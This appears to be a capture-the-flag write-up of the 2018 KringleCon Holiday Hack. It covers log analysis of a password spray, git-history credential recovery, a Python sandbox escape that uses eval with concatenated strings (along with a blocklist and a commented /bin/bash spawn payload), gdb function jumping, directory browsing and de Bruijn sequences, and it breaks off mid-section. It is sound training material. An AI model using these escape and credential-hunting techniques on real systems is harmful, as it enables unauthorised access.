elf@spray-detect:~$ grep 'EventID' ho-ho-no.xml | sort | uniq <EventID Qualifiers="">4608</EventID> <EventID Qualifiers="">4624</EventID> <EventID Qualifiers="">4625</EventID> <EventID Qualifiers="">4647</EventID> <EventID Qualifiers="">4688</EventID> <EventID Qualifiers="">4724</EventID> <EventID Qualifiers="">4738</EventID> <EventID Qualifiers="">4768</EventID> <EventID Qualifiers="">4769</EventID> <EventID Qualifiers="">4776</EventID> <EventID Qualifiers="">4799</EventID> <EventID Qualifiers="">4826</EventID> <EventID Qualifiers="">4902</EventID> <EventID Qualifiers="">4904</EventID> <EventID Qualifiers="">5024</EventID> <EventID Qualifiers="">5033</EventID> <EventID Qualifiers="">5059</EventID>
A bit of research gives us names to go with these EventIDs:
Event ID | Event Name |
---|---|
4608 | Windows is starting up |
4624 | An account was successfully logged on |
4625 | An account failed to log on |
4647 | User initiated logoff |
4688 | A new process has been created |
4724 | An attempt was made to reset an accounts password |
4738 | A user account was changed |
4768 | A Kerberos authentication ticket (TGT) was requested |
4769 | A Kerberos service ticket was requested |
4776 | The domain controller attempted to validate the credentials for an account |
4799 | A security-enabled local group membership was enumerated |
4826 | Boot Configuration Data loaded |
4902 | The Per-user audit policy table was created |
4904 | An attempt was made to register a security event source |
5024 | The Windows Firewall Service has started successfully |
5033 | The Windows Firewall Driver has started successfully |
5059 | Key migration operation |
4624 and 4625 seem interesting. Let's update our previous command to include the number of occurences of each event by using -c, --count prefix lines by the number of occurrences
:
elf@spray-detect:~$ grep 'EventID' ho-ho-no.xml | sort | uniq -c 1 <EventID Qualifiers="">4608</EventID> 756 <EventID Qualifiers="">4624</EventID> 212 <EventID Qualifiers="">4625</EventID> 1 <EventID Qualifiers="">4647</EventID>
So, we've had 756 accounts successful logon attempts, and 212 failed ones.
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4624</EventID> <Version>2</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:19:20.695601"></TimeCreated> <EventRecordID>231726</EventRecordID> <Correlation ActivityID="" RelatedActivityID=""></Correlation> <Execution ProcessID="664" ThreadID="668"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData> <Data Name="SubjectUserSid">S-1-0-0</Data> <Data Name="SubjectUserName">-</Data> <Data Name="SubjectDomainName">-</Data> <Data Name="SubjectLogonId">0x0000000000000000</Data> <Data Name="TargetUserSid">S-1-5-18</Data> <Data Name="TargetUserName">SYSTEM</Data> <Data Name="TargetDomainName">NT AUTHORITY</Data> <Data Name="TargetLogonId">0x00000000000003e7</Data> <Data Name="LogonType">0</Data> <Data Name="LogonProcessName">-</Data> <Data Name="AuthenticationPackageName">-</Data> <Data Name="WorkstationName">-</Data> <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x0000000000000004</Data> <Data Name="ProcessName"></Data> <Data Name="IpAddress">-</Data> <Data Name="IpPort">-</Data> <Data Name="ImpersonationLevel">-</Data> <Data Name="RestrictedAdminMode">-</Data> <Data Name="TargetOutboundUserName">-</Data> <Data Name="TargetOutboundDomainName">-</Data> <Data Name="VirtualAccount">%%1843</Data> <Data Name="TargetLinkedLogonId">0x0000000000000000</Data> <Data Name="ElevatedToken">%%1842</Data> </EventData> </Event> ... <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4625</EventID> <Version>0</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8010000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:41:50.900736"></TimeCreated> <EventRecordID>234488</EventRecordID> <Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation> <Execution ProcessID="664" ThreadID="712"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData> <Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data> <Data Name="SubjectDomainName">EM.KRINGLECON</Data> <Data Name="SubjectLogonId">0x00000000000003e7</Data> <Data Name="TargetUserSid">S-1-0-0</Data> <Data Name="TargetUserName">sparkle.redberry</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="Status">0xc000006d</Data> <Data Name="FailureReason">%%2313</Data> <Data Name="SubStatus">0xc000006a</Data> <Data Name="LogonType">8</Data> <Data Name="LogonProcessName">Advapi </Data> <Data Name="AuthenticationPackageName">Negotiate</Data> <Data Name="WorkstationName">WIN-KCON-EXCH16</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x00000000000019f0</Data> <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data> <Data Name="IpAddress">10.158.210.210</Data> <Data Name="IpPort">47904</Data> </EventData> </Event>
At this point, there's a few ways we can proceed to analyze the
logs. However, parsing XML data becomes tricky with the standard
*NIX text-processing tools (grep
, sed
, awk
, etc.). Instead,
we'll write up a Python script:
from xml.dom import minidom event_names = {'4624': 'Success', '4625': 'Failure'} # Parse the file xmldoc = minidom.parse('ho-ho-no.xml') # Top-node: <Event> events = xmldoc.getElementsByTagName('Event') for event in events: # Each Event has <System> and <EventData> system = event.getElementsByTagName('System')[0] eventdata = event.getElementsByTagName('EventData')[0] eventid = system.getElementsByTagName('EventID')[0].firstChild.nodeValue if eventid not in event_names.keys(): # We don't care about other events continue # EventData has one ore more <Data> elements data_nodes = eventdata.getElementsByTagName('Data') for data in data_nodes: if data.attributes['Name'].nodeValue == 'TargetUserName': print event_names[eventid], data.firstChild.nodeValue
When we run the script, we get the authentication result, and the username. The last lines printed are along the lines of:
elf@spray-detect:~$ python parse_evtx.py ... Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbab78a6 Success HealthMailboxbe58608 Success HealthMailboxbab78a6 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608 Success HealthMailboxbe58608
We can use grep
to ignore the mailbox. This time, we'll use the -v
flag: -v, --invert-match Selected lines are those not matching any of the specified patterns.
elf@spray-detect:~$ python parse_evtx.py | grep -v HealthMailbox ... Failure steven.smith Failure sugerplum.mary Failure sunil.kumar Failure suresh.kumar Failure tim.smith Failure tom.smith Failure tyler.smith Failure vijay.kumar Failure vinod.kumar Failure wunorse.openslae Success minty.candycane Success wunorse.openslae Success SYSTEM
This does look like a password spraying attack. We see a large number of failures, going alphabetically. Interestingly, it seems like SugarPlum Mary's account name is misspelled, leading more credence to the theory that the attacker is going off of a list of usernames.
After the failures, we see successful logins for Minty and Wunorse. To get a better sense of what's going on, we'll update our script to add the timestamp and IP address as well:
2018-09-10 12:54:56.034510 Failure test.user 172.31.254.101 2018-09-10 12:58:07.518818 Success shinny.upatree 172.18.101.231 2018-09-10 13:03:33.271959 Failure aaron.smith 172.31.254.101 2018-09-10 13:03:34.075348 Failure abhishek.kumar 172.31.254.101 2018-09-10 13:03:34.660316 Failure adam.smith 172.31.254.101 2018-09-10 13:03:35.204905 Failure ahmed.ali 172.31.254.101 2018-09-10 13:03:35.766270 Failure ahmed.hassan 172.31.254.101 ... 2018-09-10 13:05:03.702278 Success minty.candycane 172.31.254.101 ... 2018-09-10 13:05:37.099594 Failure tyler.smith 172.31.254.101 2018-09-10 13:05:37.695000 Failure vijay.kumar 172.31.254.101 2018-09-10 13:05:38.474575 Failure vinod.kumar 172.31.254.101 2018-09-10 13:05:39.123190 Failure wunorse.openslae 172.31.254.101 2018-09-10 13:07:02.556292 Success minty.candycane 172.31.254.101 2018-09-10 13:10:18.123104 Success wunorse.openslae 10.231.108.200 2018-09-10 13:13:16.175577 Success SYSTEM -
It looks like the attack started at 12:54, with "test.user," then proceeded alphabetically, ending about 10 minutes later, at 13:05. All of those attempts came from the same IP address, 172.31.254.101.
As the attacker was trying passwords, they were able to successfully login as minty.candycane. After the attack ended, they logged in as minty.candycane again. Her account is the only account from that IP address that had a successful login.
elf@spray-detect:~$ ./runtoanswer Loading, please wait...... Whose account was successfully accessed by the attacker's password spray? minty.candycane MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMXO0NMxl0MXOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMxlllooldollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMW0OKWMMNKkollldOKWMMNKOKMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMXollox0NMMMxlOMMMXOdllldWMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMWXOdlllokKxlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMNkkXMMMMMMMMMMMWKkollllllldkKWMMMMMMMMMMM0kOWMMMMMMMMMMMM MMMMMMWKXMMMkllxMMMMMMMMMMMMMMMXOold0NMMMMMMMMMMMMMMMollKMMWKKWMMMMMM MMMMMMdllKMMkllxMMMMMMMMMMMMN0KNMxl0MN00WMMMMMMMMMMMMollKMMOllkMMMMMM Mkox0XollKMMkllxMMMMMMMMMMMMxllldoldolllOMMMMMMMMMMMMollKMMkllxXOdl0M MMN0dllll0MMkllxMMMMMMMMMMMMMN0xolllokKWMMMMMMMMMMMMMollKMMkllllx0NMM MW0xolllolxOxllxMMNxdOMMMMMWMMMMWxlOMMMMWWMMMMWkdkWMMollOOdlolllokKMM M0lldkKWMNklllldNMKlloMMMNolok0NMxl0MX0xolxMMMXlllNMXolllo0NMNKkoloXM MMWWMMWXOdlllokdldxlloWMMXllllllooloollllllWMMXlllxolxxolllx0NMMMNWMM MMMN0kolllx0NMMW0ollll0NMKlloN0kolllokKKlllWMXklllldKMMWXOdlllokKWMMM MMOllldOKWMMMMkollox0OdldxlloMMMMxlOMMMNlllxoox0Oxlllo0MMMMWKkolllKMM MMW0KNMMMMMMMMKkOXWMMMW0olllo0NMMxl0MWXklllldXMMMMWKkkXMMMMMMMMX0KWMM MMMMMMMMMMMMMMMMMMMW0xollox0Odlokdlxxoox00xlllokKWMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMWollllOWMMMMNklllloOWMMMMNxllllxMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMN0xlllokK0xookdlxxookK0xollokKWMMMMMMMMMMMMMMMMMMM MMWKKWMMMMMMMMKk0XMMMMW0ollloOXMMxl0MWKklllldKWMMMWXOOXMMMMMMMMNKKMMM MMkllldOXWMMMMklllok00xoodlloMMMMxlOMMMNlllxook00xollo0MMMMWKkdlllKMM MMMN0xollox0NMMW0ollllONMKlloNKkollldOKKlllWMXklllldKWMMX0xlllok0NMMM MMWWMMWKkollldkxlodlloWMMXllllllooloollllllWMMXlllxooxkollldOXMMMWMMM M0lldOXWMNklllldNMKlloMMMNolox0XMxl0WXOxlldMMMXlllNMXolllo0WMWKkdloXM MW0xlllodldOxllxMMNxdOMMMMMNMMMMMxlOMMMMWNMMMMWxdxWMMollkkoldlllokKWM MMN0xllll0MMkllxMMMMMMMMMMMMMNKkolllokKWMMMMMMMMMMMMMollKMMkllllkKWMM MkldOXollKMMkllxMMMMMMMMMMMMxlllooloolll0MMMMMMMMMMMMollKMMkllxKkol0M MWWMMMdllKMMkllxMMMMMMMMMMMMXO0XMxl0WXOONMMMMMMMMMMMMollKMMOllkMMMWMM MMMMMMNKKMMMkllxMMMMMMMMMMMMMMMN0oldKWMMMMMMMMMMMMMMMollKMMWKKWMMMMMM MMMMMMMMMMMMXkxXMMMMMMMMMMMWKkollllllldOXMMMMMMMMMMMM0xkWMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMX0xlllok0xlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMXollldOXMMMxlOMMWXOdllldWMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMW0OKWMMWKkollldOXWMMN0kKMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMklllooloollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMXOOXMxl0WKOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Silly Minty Candycane, well this is what she gets. "Winter2018" isn't for The Internets. Passwords formed with season-year are on the hackers' list. Maybe we should look at guidance published by the NIST? Congratulations!
Silly Minty, indeed. If only she had listened to Beau's talk…
Answer:
minty.candycane
Summary
Using the provided script, we converted the event logs to XML. Using basic \*NIX text-processing tools, we got an overview of the logs, then wrote a Python script to print out the relevant details. The password spraying attack was easy to spot, and all the attempts came from a single IP address. Only one user, minty.candycane, had a successful login from that IP.
Git Dev Ops Fail
Goal
Find Sparkle's password, then run the runtoanswer tool.
Background
- Elf Chat
Sparkle Redberry asks us to help her by saying:
Ugh, can you believe that Elf Resources is poking around? Something about sensitive info in my git repo.
I mean, I may have uploaded something sensitive earlier, but it's no big deal. I overwrote it!
Care to check my Cranberry Pi terminal and prove me right?
- Badge Hint
To help us, Sparkle provides two links: Finding Passwords in Git and Git Cheat Sheet.
- Relevant KringleCon Videos
Brian Hostetler, Buried Secrets: Digging Deep Through Cloud Repositories seems relevant, but it relies on using tools to search for secrets; something we can't easily do on the terminal.
Intro
Once we connect:
Coalbox again, and I've got one more ask. Sparkle Q. Redberry has fumbled a task. Git pull and merging, she did all the day; With all this gitting, some creds got away. Urging - I scolded, "Don't put creds in git!" She said, "Don't worry - you're having a fit. If I did drop them then surely I could, Upload some new code done up as one should." Though I would like to believe this here elf, I'm worried we've put some creds on a shelf. Any who's curious might find our "oops," Please find it fast before some other snoops! Find Sparkle's password, then run the runtoanswer tool.
Solution
First, we see what we're working with:
elf@gitpasshist:~$ ls kcconfmgmt runtoanswer elf@gitpasshist:~$ cd kcconfmgmt/ elf@gitpasshist:~/kcconfmgmt$ ls README.md app.js package-lock.json package.json public routes server views elf@gitpasshist:~/kcconfmgmt$ ls --all . .. .git README.md app.js package-lock.json package.json public routes server views
kcconfmgmt is a git repo, and we need to find some credentials in the history. The Git Cheat Sheet gives us the following command to search commits: git log --grep="Message"
elf@gitpasshist:~/kcconfmgmt$ git log --grep="password" commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Sat Nov 10 19:51:52 2018 -0500 Add user model for authentication, bcrypt password storage commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
To view the changes, the cheat sheet suggests the following command:
elf@gitpasshist:~/kcconfmgmt$ git log -p 60a2ffea7520ee980a5fc60177ff4d0633f2516b commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use diff --git a/server/config/config.js b/server/config/config.js deleted file mode 100644 index 25be269..0000000 --- a/server/config/config.js +++ /dev/null @@ -1,4 +0,0 @@ -// Database URL -module.exports = { - 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api' -}; diff --git a/server/config/config.js.def b/server/config/config.js.def new file mode 100644 index 0000000..740eba5 --- /dev/null +++ b/server/config/config.js.def @@ -0,0 +1,4 @@ +// Database URL +module.exports = { + 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api' +};
We see that in config.js
, the credentials were sredberry and "twinkletwinkletwinkle":
elf@gitpasshist:~$ ./runtoanswer Loading, please wait...... Enter Sparkle Redberry's password: twinkletwinkletwinkle This ain't "I told you so" time, but it's true: I shake my head at the goofs we go through. Everyone knows that the gits aren't the place; Store your credentials in some safer space. Congratulations!
Answer:
twinkletwinkletwinkle
Summary
We got fairly lucky on this one. We searched commits for "password," and then viewed the details of an interesting commit.
Python Escape from LA
Goal
To complete this challenge, escape Python and run ./i_escaped
Background
- Elf Chat
SugarPlum Mary has a problem
I'm glad you're here; my terminal is trapped inside a python! Or maybe my python is trapped inside a terminal?
Can you please help me by escaping from the Python interpreter?
- Badge Hint
SugarPlum's advice is to check out Mark Baggett's talk upstairs.
- Relevant KringleCon Videos
Intro
Launching this terminal, we see something a bit different:
I'm another elf in trouble, Caught within this Python bubble. Here I clench my merry elf fist - Words get filtered by a black list! Can't remember how I got stuck, Try it - maybe you'll have more luck? For this challenge, you are more fit. Beat this challenge - Mark and Bag it! -SugarPlum Mary To complete this challenge, escape Python and run ./i_escaped >>>
Solution
We need to run i_escaped
, either from Python, or after we've escaped. A simple way to exit Python is to call sys.exit
:
>>> sys.exit(0) Traceback (most recent call last): File "<console>", line 1, in <module> NameError: name 'sys' is not defined >>> import sys Use of the command import is prohibited for this question.
Foiled. Watching Mark's talk, we see similarities with using readfunc
to filter prohibited words. Mark suggests checking to see if exec()
is available:
>>> exec Use of the command exec is prohibited for this question.
Next, let's try eval()
:
>>> eval <built-in function eval>
That's promising. We try what Mark suggests using eval
:
>>> os.system("./i_escaped") Use of the command os.system is prohibited for this question. >>> eval('os.sy' + 'stem("./i_escaped")') Loading, please wait...... ____ _ _ | _ \ _ _| |_| |__ ___ _ __ | |_) | | | | __| '_ \ / _ \| '_ \ | __/| |_| | |_| | | | (_) | | | | |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ | ____||___/___ __ _ _ __ ___ __| | | | _| / __|/ __/ _` | '_ \ / _ \/ _` | | | |___\__ \ (_| (_| | |_) | __/ (_| |_| |_____|___/\___\__,_| .__/ \___|\__,_(_) |_| That's some fancy Python hacking - You have sent that lizard packing! -SugarPlum Mary You escaped! Congratulations!
Once we've escaped, we can see how this challenge was setup:
restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ] code.interact(banner=banner, readfunc=readfilter, local=locals()) #eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")
Summary
We basically followed Mark's talk directly. import
and exec
was blocked, but eval
was available. We called i_escaped
directly from Python, without ever actually escaping.
The GDB Sleighbell Lottery
Goal
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
Background
- Elf Chat
Shinny is desperate to win the lottery:
Hey! Mind giving ole' Shinny Upatree some help? There's a contest I HAVE to win.
As long as no one else wins first, I can just keep trying to win the Sleigh Bell Lotto, but this could take forever!
I'll bet the GNU Debugger can help us. With the PEDA modules installed, it can be prettier. I mean easier.
- Badge Hint
Shinny recommends the SANS blog post Using gdb to Call Random Functions!
- Relevant KringleCon Videos
None
Intro
The terminal greets us with:
I'll hear the bells on Christmas Day Their sweet, familiar sound will play But just one elf, Pulls off the shelf, The bells to hang on Santa's sleigh! Please call me Shinny Upatree I write you now, 'cause I would be The one who gets - Whom Santa lets The bells to hang on Santa's sleigh! But all us elves do want the job, Conveying bells through wint'ry mob To be the one Toy making's done The bells to hang on Santa's sleigh! To make it fair, the Man devised A fair and simple compromise. A random chance, The winner dance! The bells to hang on Santa's sleigh! Now here I need your hacker skill. To be the one would be a thrill! Please do your best, And rig this test The bells to hang on Santa's sleigh! Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
Solution
We start by investigating our surroundings:
elf@unlinked-function:~$ ls gdb objdump sleighbell-lotto elf@unlinked-function:~$ ls -l total 40 lrwxrwxrwx 1 elf elf 12 Dec 14 16:21 gdb -> /usr/bin/gdb lrwxrwxrwx 1 elf elf 16 Dec 14 16:21 objdump -> /usr/bin/objdump -rwxr-xr-x 1 root root 38144 Dec 14 16:22 sleighbell-lotto
We start following along with the blog post. We'll start with nm
(display name list), and as the post tells us to focus on symbol types 'T' (text section symbols):
elf@unlinked-function:~$ nm ./sleighbell-lotto | grep ' T '
0000000000001620 T __libc_csu_fini
00000000000015b0 T __libc_csu_init
0000000000001624 T _fini
00000000000008c8 T _init
0000000000000a00 T _start
0000000000000c1e T base64_cleanup
0000000000000c43 T base64_decode
0000000000000bcc T build_decoding_table
0000000000000b0a T hmac_sha256
00000000000014ca T main
00000000000014b7 T sorry
0000000000000f18 T tohex
0000000000000fd7 T winnerwinner
winnerwinner
looks promising. Let's see if we can use gdb
to call that:
elf@unlinked-function:~$ gdb -q ./sleighbell-lotto Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x14ce (gdb) run Starting program: /home/elf/sleighbell-lotto [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x00005555555554ce in main () (gdb) jump winnerwinner Continuing at 0x555555554fdb. ..... ...... ..,;:::::cccodkkkkkkkkkxdc;. ....... .';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx......... ':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.......... .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc.......... .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;. ........ 'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. ...... ;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd' .xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx' .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx' xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx; :olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk; ..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc ...................,',,:lxkkkkkkkkkkkkkd. ..........................';;:coxkkkkk: ...............................ckd. ............................... ........................... ....................... ....... ... With gdb you fixed the race. The other elves we did out-pace. And now they'll see. They'll all watch me. I'll hang the bells on Santa's sleigh! Congratulations! You've won, and have successfully completed this challenge.
Summary
For this one, we followed the SANS blog post from our badge hint
almost verbatim, and were able to directly call the winnerwinner
function.
Objectives
Orientation Challenge
Goal
What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.
- Badge Hint
Once we solve the Essential Editor Skills challenge, Bushy tells us to check out Past Holiday Hack Challenges.
- Relevant KringleCon Videos
Solution
START HERE
To get into the Lobby, we
have to, erm… get to talk to Santa, who is inside the gates. As we talk to him, he points us to a video we should start with:Figure 15: Santa Says START HERE
As we watch that video, Ed Skoudis tells us the following things, which answer our questions:
In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
At 4 minutes, 29 seconds:
…and they extracted THE FIRMWARE. They extracted the firmware from their Gnome in their Home and then they did some analysis on it.
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
At 4:52:
And it turns out that the company that sold the gnomes was called ATNAS Corporation, A-T-N-A-S.
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
At 9:03:
So that's Santa's Business Card. The whole thing starts with the BUSINESS CARD. Because that's all that's left among all of the needles that are dropped from the tree right next to Santa's bag. Is that Santa's business card.
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
At 16:26:
Another really big hint for you is that Santa's elves provide hints, but you first need to solve some terminal challenges. So, the concept here is you go up to a terminal challenge, it's just a simple little CRANBERRY PI terminal. Wherever you see a cranberry pi on a terminal, click on that thing.
In 2017, the North Pole was being bombarded by giant objects. What were they?
At 9:19:
In 2017, the Holiday Hack Challenge opens up with GIANT SNOWBALLS pouring down the mountain of the North Pole.
In 2017, Sam the snowman needed help reassembling pages torn from what?
At 9:54:
You see, THE GREAT BOOK is this wonderful book that was shredded by an inter-dimensional tornado, and you have to fetch different pages of this book.
Once we enter the correct answers, the screen changes:
Figure 16: Kringle History Kiosk Answer
Happy Trails
Open-Source Intel
One of the coolest things about the Holiday Hack is that old versions remain up! Using the link that Bushy gave us, we can try past challenges, and read the official solutions and other winning entries.
Year Challenge Winning Entries 2017 Challenge Answers 2016 Challenge Answers 2015 Challenge Answers In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
From reading the 2015 Challenge, we see:
Now, Dear Reader, please help Jessica unwrap the secrets of the Gnome’s firmware by returning once again to the Dosis neighborhood. Find Jessica and she will provide you a copy of the Gnome’s firmware.
Answer: Firmware
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
From the 2015 Answers:
Through the fine investigative work of over 500 officers and detectives here in this room, I am proud to announce that we have apprehended the mastermind behind the co-called “Gnome in Your Home” conspiracy. Miss Cindy Lou Who, age sixty-two, CEO of ATNAS Corporation, had planned a worldwide crime spree to destroy Christmas joy.
Answer: ATNAS
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
2016 was called "Santa's Business Card," so that's a good guess. Reading the 2016 challenge:
And that, Dear Reader, is where you get involved. Take a close look at Santa's Business card.
Answer: Business card
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
Searching the 2016 challenge:
Now, Dear Reader, scurry around the North Pole and retrieve all of the computer parts to build yourself a Cranberry Pi.
Answer: Cranberry Pi
In 2017, the North Pole was being bombarded by giant objects. What were they?
The 2017 challenge starts:
If I live to be a hundred, I'll never be able to forget the giant snowball disaster going on right now! The North Pole itself is under siege as boulder-sized snowballs cascade down our mountain, leaving destruction and mayhem in their wake.
Answer: Snowballs
In 2017, Sam the snowman needed help reassembling pages torn from what?
Reading further:
And if the snowballs aren't bad enough, the North Pole was hit last week with the worst Inter-Dimensional Tornado ever known, scrambling things up here pretty badly. Why, that blasted tornado even shredded The Great Book!
What's that? You haven't heard of The Great Book? Why, it's a wonderful tome that describes the epic history of the elves. I gotta tell you, they revere that book, but now its pages are scattered all over the place! We need your help to find the missing seven pages of The Great Book so we can stitch this priceless relic back together.
Answer: The Great Book
Directory Browsing
Goal
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.
Background
- Terminal Challenge
For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.
- Badge Hint
Once we solve the Name Game challenge, Minty tells us:
Finding Browsable Directories: On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.
Website Directory Browsing: Website Directory Browsing
Solution
As we interact with the website, we're told that we missed the Call for Papers for the conference! We also see that there are two webpages we can access:
https://cfp.kringlecastle.com/ https://cfp.kringlecastle.com/cfp/cfp.html
The hints tell us to remove some characters from the end of the URL, as to view a directory listing. We discover that https://cfp.kringlecastle.com/cfp/ has directory listings enabled, and we see another file in that directory:
Figure 17: Directory Listing
At this point, we just need to find the line with the talk we're looking for:
Figure 18: A Path in the Darkness?
John McClane
de Bruijn Sequences
Goal
When you break into the speaker unpreparedness room, what does Morcel Nougat say?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.
- Elf Chat
Once we solve the ForensicELFication challenge, Tangle gives us the following hints: #+BEGIN_QUOTE Hey, thanks for the help with the investigation, gumshoe. Have you been able to solve the lock with the funny shapes? It reminds me of something called "de Bruijn Sequences." You can optimize the guesses because there is no start and stop – each new value is added to the end and the first is removed.
- Badge Hint
Opening a Ford Lock Code: Opening a Ford with a Robot and the de Bruijn Sequence
de Bruijn Sequence Generator: de Bruijn sequence generator #+END_QUOTE
As an aside, one of the authors of this report finds this upsetting given they own a Ford vehicle with one of those keypads… The other two are fine with it.
Solution
de Bruijn Sequences
The key point from Tangle Coalbox is the bit about there being no start and stop. The door passcode is checked for each sequence of shapes as they are entered and shift from right to left. After the first four shapes are entered, a new passcode can be checked by entering just one more shape and for each shape after that.
A de Bruijn algorithm generates a sequence of characters from a given "alphabet" (\(k\)) and "length" (\(n\)) where each sub-sequence only appears once. For this challenge, we simply convert each shape to a number 0-3, and run it through a de Bruijn algorithm.
Doing so greatly speeds up the number of buttons we would need to press if we were entering this by hand. Brute-forcing this would mean that we would need to hit up to \(256 x 4 = 1024\) buttons. However, the de Bruijn sequence is only of length 259 (it wraps around, as the last digit could be followed by the first 3 digits of the sequence).
Using the de Bruijn sequence generator provided in the hint from Tangle, we generate a sequence of 4 possibilities (\(k=4\)) and of length 4 (\(n=4\)). This generates the following sequence:
